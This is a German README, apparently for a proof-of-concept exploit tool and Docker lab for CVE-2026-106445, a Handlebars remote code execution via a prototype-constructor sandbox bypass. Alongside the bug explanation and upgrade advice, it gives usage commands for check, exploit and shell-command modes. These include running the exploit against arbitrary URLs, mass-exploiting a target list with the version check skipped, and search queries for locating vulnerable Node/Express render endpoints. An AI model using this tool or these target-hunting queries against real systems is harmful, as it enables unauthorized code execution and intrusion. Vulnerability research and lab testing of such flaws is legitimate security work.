
Python-PoC und Docker-Lab für CVE-2026-106445, eine Handlebars-4.0.0–4.7.9-RCE über Function.prototype.constructor-Bypass, mit Check-/Exploit-Modi und Template-Payload-Generierung.
Python-3-PoC für CVE-2026-106445 — handlebars 4.0.0 – 4.7.9 — CWE-184 / CWE-1289 — Sandbox-Escape zu Function, wenn allowProtoMethodsByDefault: true.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-106445 |
| GHSA | GHSA-p8wg-vrv2-v86f |
| Behoben | 4.7.10 |
| CVSS 4.0 | 9.2 Kritisch (AT:P — unsichere Kompilieroptionen + Benutzertemplate) |
| Verifikationsmarker | POCBIT-106445-OK |
lookupProperty gibt eigene Eigenschaften zurück, bevor die Proto-Denylist ausgeführt wird. Bei Function.prototype ist constructor eine eigene Eigenschaft → wird zu Function aufgelöst. Angreifertemplate + Kontextfunktion fn → Function(attackerCode)() über #each / apply.
Kein generischer npm-Abhängigkeitsfehler auf jeder Website: Die Anwendung muss vom Angreifer kontrollierte Templates kompilieren/rendern mit allowProtoMethodsByDefault: true (Standard in einigen hbs-Setups) und eine Funktion im Render-Kontext bereitstellen.
cd CVE-2026-106445
pip install -r requirements.txt
docker compose up --build -d
python poc.py -u http://127.0.0.1:13045 --mode check
python poc.py -u http://127.0.0.1:13045 --mode exploit
python poc.py -u http://127.0.0.1:13045 --mode exploit -c "id"
python poc.py -u http://127.0.0.1:13045 --mode exploit --json
python poc.py --mode payload -c "id" # print Handlebars template only
Lab-Endpunkte:
| Methode | Pfad | Rolle |
|---|---|---|
| GET | /health | handlebars-Version + Lab-Header |
| POST | /render | JSON {"template":"..."} |
| GET | /render?template=... | optional (--use-get) |
Auf eine beliebige URL-Basis zeigen, die die Lab-API nachbildet (Pfade anpassen):
python poc.py -u https://app.example --render-path /api/preview --mode exploit -c "id" --insecure
python poc.py --list targets.txt --mode exploit -j 10 --skip-check
Check verwendet /health, falls vorhanden, andernfalls eine harmlose Template-Probe. Exploit sendet die vollständige GHSA-Template-Kette und erfordert POCBIT-106445-OK (oder Befehlsausgabe) im JSON-Feld output.
| Flag | Zweck |
|---|---|
--mode exploit | Bösartiges Template per POST senden, Marker verifizieren |
-c / --command | Optionale Shell über child_process (Linux: id). Standard: JS-Rückgabemarker (belegt Function-Ausführung) |
--skip-check | Exploit erzwingen, ohne Versionsprüfung |
--dry-run | Template-String ausgeben |
--use-get | GET /render?template= |
Bibliotheks-CVE — suche nach Anwendungen, die Benutzer-Handlebars kompilieren, nicht nach handlebars.min.js auf statischen Seiten:
body="handlebars" && body="allowProtoMethodsByDefault"
body="/render" && body="template" && server="Node"
header="X-Powered-By: Express"
Bestätigen mit --mode check auf einer vermuteten Vorschau-/Render-API.
Nur autorisiertes Testen. Upgrade auf [email protected]+ oder deaktiviere allowProtoMethodsByDefault für nicht vertrauenswürdige Templates.
CVE-2026-106445 — Handlebars 4.0.0–4.7.9 RCE via Function.prototype.constructor bypass (GHSA-p8wg-vrv2-v86f). PoCbit PoC + Docker lab (4.7.9), check/exploit HTTP client, GHSA template chain. Fixed 4.7.10. https://pocbit.org/pocs/cve-2026-106445